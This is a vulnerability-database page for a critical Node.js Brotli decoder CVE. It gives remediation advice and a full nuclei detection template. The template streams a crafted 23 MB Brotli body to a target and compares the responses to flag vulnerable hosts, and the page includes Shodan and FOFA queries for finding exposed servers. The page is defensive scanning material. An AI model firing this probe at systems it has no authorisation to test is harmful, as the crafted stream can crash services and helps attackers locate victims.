HexBrain

Browse / CVEs / CVE-2026-111497

CVE-2026-111497· nodejs / node.js· CWE-190

Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-10-27; known to be used by ransomware.

criticalseverity
9.8CVSS score
82.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

Impact

Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.

Fix

Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.

How to confirm it

Positive when: contains "node2shell: VULNERABLE"

Run it with nuclei: nuclei -id CVE-2026-111497 -u <target>

The full check
id: CVE-2026-111497

info:
  name: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
  author: assetnote,DhiyaneshDk,goosvorbook
  severity: critical
  description: |
    A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
  impact: |
    Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.
  remediation: |
    Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.
  reference:
    - https://github.com/assetnote/node2shell-scanner
    - https://www.slcyber.io/exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2026-111497
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-111497
    epss-score: 0.82641
    epss-percentile: 0.9967
    cwe-id: CWE-190
  metadata:
    verified: true
    max-request: 6
    vendor: nodejs
    product: node.js
    shodan-query: 'http.component:"Express"'
    fofa-query: 'header="X-Powered-By: Express"'
  tags: cve,cve2026,nodejs,express,brotli,overflow,rce,node2shell,js,vkev,kev

variables:
  path: "/"

javascript:
  - pre-condition: |
      (function () {
        var explicit = parseInt(tport, 10);
        var ports = explicit ? [explicit] : [443, 80];
        for (var i = 0; i < ports.length; i++) {
          try { if (isPortOpen(thost, ports[i])) return true; } catch (e) {}
        }
        return false;
      })();

    code: |
      (function () {
        const net = require("nuclei/net");

        // 23,068,764-byte Brotli body (assetnote/node2shell), byte for byte; decompression pressure, never an executable payload
        const PREFIX = "8b000046a440861f6aaf2f0409414a104902a57a74f8fdaf473dea518f7ad4a31e";
        const UNIT = "f5a8473dea518f7ad4a31e";
        const REPS = (1 << 21) - 1;
        const PROBE_BYTES = 23068764;

        const VALID_BR = "3b";     // valid, empty Brotli stream
        const MALFORMED_BR = "ff"; // Brotli every decoder rejects
        const UNSUPPORTED = "78";  // "x", sent with Content-Encoding: x

        const UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " +
                   "(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Node2Shell/1.0.0";
        const READ_LIMIT = 1 << 18;
        const UPLOAD_REPS = 5957;
        const TIMEOUT = 30;
        const INTERIM_TIMEOUT = 2; // seconds to wait for a 100-continue / early rejection

        let SUFFIX = "528fe207";
        for (let i = 0; i < 65; i++) SUFFIX += "20";
        SUFFIX += "03";

        // binary-exponentiation concat; a naive += over 2M iterations is too slow
        function units(n) {
          let out = "", block = UNIT;
          while (n > 0) {
            if (n & 1) out += block;
            n >>= 1;
            if (n > 0) block += block;
          }
          return out;
        }

        // the javascript protocol hands us only host and port, so resolve transport by trying likely candidates once
        const TLS_PORTS = { 443: 1, 4443: 1, 8443: 1, 9443: 1, 10443: 1 };
        const explicitPort = parseInt(tport, 10);
        const candidates = explicitPort
          ? [{ port: explicitPort, tls: TLS_PORTS[explicitPort] === 1 },
             { port: explicitPort, tls: TLS_PORTS[explicitPort] !== 1 }]
          : [{ port: 443, tls: true }, { port: 80, tls: false }];

        const route = (typeof tpath === "string" && tpath.charAt(0) === "/") ? tpath : "/";
        let transport = candidates[0];

        function hostHeader() {
          const bare = transport.port === (transport.tls ? 443 : 80);
          return bare ? thost : thost + ":" + transport.port;
        }

        function parseResponse(raw) {
          let s = raw;
          while (/^HTTP\/1\.[01] 1\d\d/.test(s)) { // skip 1xx interim from Expect: 100-continue
            const cut = s.indexOf("\r\n\r\n");
            if (cut < 0) return null;
            s = s.substring(cut + 4);
          }
          const line = /^HTTP\/1\.[01] (\d{3})/.exec(s);
          if (!line) return null;
          const cut = s.indexOf("\r\n\r\n");
          if (cut < 0) {
            return { status: parseInt(line[1], 10), ctype: "", body: "", done: false };
          }
          const head = "\r\n" + s.substring(0, cut);
          const body = s.substring(cut + 4);
          const ct = /\r\ncontent-type:[ \t]*([^\r\n]*)/i.exec(head);
          const cl = /\r\ncontent-length:[ \t]*(\d+)/i.exec(head);
          const chunked = /\r\ntransfer-encoding:[^\r\n]*chunked/i.test(head);
          let done;
          if (cl) done = body.length >= parseInt(cl[1], 10);
          else if (chunked) done = body.indexOf("\r\n0\r\n\r\n") >= 0;
          else done = false;
          return {
            status: parseInt(line[1], 10),
            ctype: ct ? ct[1].trim().toLowerCase() : "",
            body: body,
            done: done
          };
        }

        // mode: false = short control body | "expect" = stream the probe behind
        // Expect: 100-continue | "stream" = stream the probe with no expectation
        function attempt(contentEncoding, contentType, bodyHex, contentLength, mode) {
          const streaming = (mode === "expect" || mode === "stream");
          const useExpect = (mode === "expect");
          const r = { error: null, status: null, ctype: "", body: "", sent: 0, aborted: false };
          let conn = null;
          try {
            conn = transport.tls
              ? net.OpenTLS("tcp", thost + ":" + transport.port)
              : net.Open("tcp", thost + ":" + transport.port);
          } catch (e) {
            r.error = "connect failed: " + e;
            return r;
          }

          try {
            conn.SetTimeout(TIMEOUT);

            let head = "POST " + route + " HTTP/1.1\r\n" +
                       "Host: " + hostHeader() + "\r\n" +
                       "User-Agent: " + UA + "\r\n" +
                       "Accept-Encoding: identity\r\n" +
                       "Content-Encoding: " + contentEncoding + "\r\n";
            if (contentType) head += "Content-Type: " + contentType + "\r\n";
            if (useExpect) head += "Expect: 100-continue\r\n"; // let a proxy reject the body before the 23 MB upload
            head += "Content-Length: " + contentLength + "\r\n" +
                    "Connection: close\r\n\r\n";
            conn.Send(head);

            let interim = "";
            if (streaming) {
              if (useExpect) {
                // Honour Expect: 100-continue - wait briefly for a 1xx (go ahead) or a
                // final status (server refused the body) before streaming the 23 MB, so a
                // patched or size-limited endpoint aborts cheaply instead of eating the upload
                conn.SetTimeout(INTERIM_TIMEOUT);
                try { interim = conn.RecvString(4096) || ""; } catch (e) {}
                if (/^HTTP\/1\.[01] [2-5]\d\d/.test(interim)) {
                  const early = parseResponse(interim);
                  r.aborted = true;
                  if (early) { r.status = early.status; r.ctype = early.ctype; r.body = early.body; }
                  try { conn.Close(); } catch (e) {}
                  return r;
                }
                conn.SetTimeout(TIMEOUT);
              }
              // a patched server tears the socket down mid-stream, so a short write is a negative signal, not an error
              try {
                conn.SendHex(PREFIX);
                r.sent += PREFIX.length / 2;
                const block = units(UPLOAD_REPS);
                const whole = Math.floor(REPS / UPLOAD_REPS);
                const rest = REPS % UPLOAD_REPS;
                for (let i = 0; i < whole; i++) {
                  conn.SendHex(block);
                  r.sent += block.length / 2;
                }
                if (rest > 0) {
                  const tail = units(rest);
                  conn.SendHex(tail);
                  r.sent += tail.length / 2;
                }
                conn.SendHex(SUFFIX);
                r.sent += SUFFIX.length / 2;
              } catch (e) {}
            } else {
              conn.SendHex(bodyHex);
              r.sent = bodyHex.length / 2;
            }

            let raw = interim;
            for (let i = 0; i < 512; i++) {
              let chunk = null;
              try { chunk = conn.RecvString(8192); } catch (e) { break; }
              if (!chunk || chunk.length === 0) break;
              raw += chunk;
              if (raw.length >= READ_LIMIT) break;
              const partial = parseResponse(raw);
              if (partial && partial.done) break;
            }

            const parsed = parseResponse(raw);
            if (!parsed) r.error = "no HTTP response";
            else {
              r.status = parsed.status;
              r.ctype = parsed.ctype;
              r.body = parsed.body;
            }
          } catch (e) {
            if (!r.error) r.error = "" + e;
          }

          try { conn.Close(); } catch (e) {}
          return r;
        }

        // the first live request settles port and TLS for every request that follows
        let transportResolved = false;
        function send(contentEncoding, contentType, bodyHex, contentLength, mode) {
          if (transportResolved) {
            return attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
          }
          let first = null;
          for (let i = 0; i < candidates.length; i++) {
            transport = candidates[i];
            const r = attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
            if (r.status !== null) {
              transportResolved = true;
              return r;
            }
            if (first === null) first = r;
          }
          transport = candidates[0];
          transportResolved = true;
          return first;
        }

        function control(contentEncoding, contentType, bodyHex) {
          return send(contentEncoding, contentType, bodyHex, 1, false);
        }

        function same(a, b) {
          return a.error === null && b.error === null &&
                 a.status === b.status && a.ctype === b.ctype && a.body === b.body;
        }
        function matches(a, b, mode) {
          if (mode === "status") {
            return a.error === null && b.error === null && a.status === b.status;
          }
          return same(a, b);
        }
        function failed(stage, r) {
          return "node2shell: inconclusive | " + stage + " failed: " + r.error;
        }
        function nosignal(why) {
          return "node2shell: no-signal | " + why;
        }

        // does the endpoint decompress even without a JSON content type
        const bypass = control("br", null, MALFORMED_BR);
        if (bypass.error) return failed("content-type bypass control", bypass);

        // baseline for a body that decodes cleanly
        const valid = control("br", "application/json", VALID_BR);
        if (valid.error) return failed("valid Brotli control", valid);
        if (bypass.status !== valid.status) {
          return nosignal("content-type bypass and valid Brotli controls returned different statuses");
        }

        // baseline for a Brotli decode failure
        const malformed = control("br", "application/json", MALFORMED_BR);
        if (malformed.error) return failed("malformed Brotli control", malformed);

        let mode = null;
        if (valid.status !== malformed.status) mode = "status";
        else if (same(bypass, valid) && !same(valid, malformed)) mode = "exact-response";
        if (!mode) {
          return nosignal("the controls did not establish distinct route and malformed-Brotli response classes");
        }

        // an unhandled encoding must not look like the route, or the comparison is meaningless
        const unsupported = control("x", "application/json", UNSUPPORTED);
        if (unsupported.error) return failed("unsupported encoding control", unsupported);
        if (matches(unsupported, valid, mode)) {
          return nosignal("the unsupported encoding control matched the route response class");
        }

        let probe = send("br", "application/json", null, PROBE_BYTES, "expect");
        if (probe.aborted && probe.status === 417) {
          // RFC 9110 10.1.1: a client that receives 417 repeats the request without
          // the expectation, otherwise an Expect-unaware hop hides a vulnerable origin
          probe = send("br", "application/json", null, PROBE_BYTES, "stream");
        }
        if (probe.aborted) {
          return nosignal("the server answered HTTP " + probe.status + " before reading the body, so the probe was never decompressed");
        }
        if (probe.sent !== PROBE_BYTES) {
          return nosignal("the probe was not fully uploaded (" + probe.sent + "/" + PROBE_BYTES + " bytes)");
        }
        if (probe.error) return failed("CVE probe", probe);

        // the endpoint survived and still answers the way it did before the probe
        const after = control("br", "application/json", VALID_BR);
        if (after.error) return failed("final valid Brotli control", after);
        if (!matches(valid, after, mode)) {
          return nosignal("the route response class changed after the probe");
        }

        if (matches(probe, valid, mode)) {
          return "node2shell: VULNERABLE | CVE-2026-111497 | path=" + route +
                 " | comparison=" + mode +
                 " | probe=HTTP" + probe.status +
                 " | reject=HTTP" + malformed.status;
        }
        if (matches(probe, malformed, mode)) {
          return nosignal("the probe reached the malformed-Brotli response class (HTTP " + probe.status + ")");
        }
        return nosignal("the probe matched neither learned response class (HTTP " + probe.status + ")");
      })()

    args:
      thost: "{{Host}}"
      tport: "{{Port}}"
      tpath: "{{path}}"

    matchers:
      - type: word
        words:
          - "node2shell: VULNERABLE"

References

Use this check only on systems you are authorised to test. Where the data comes from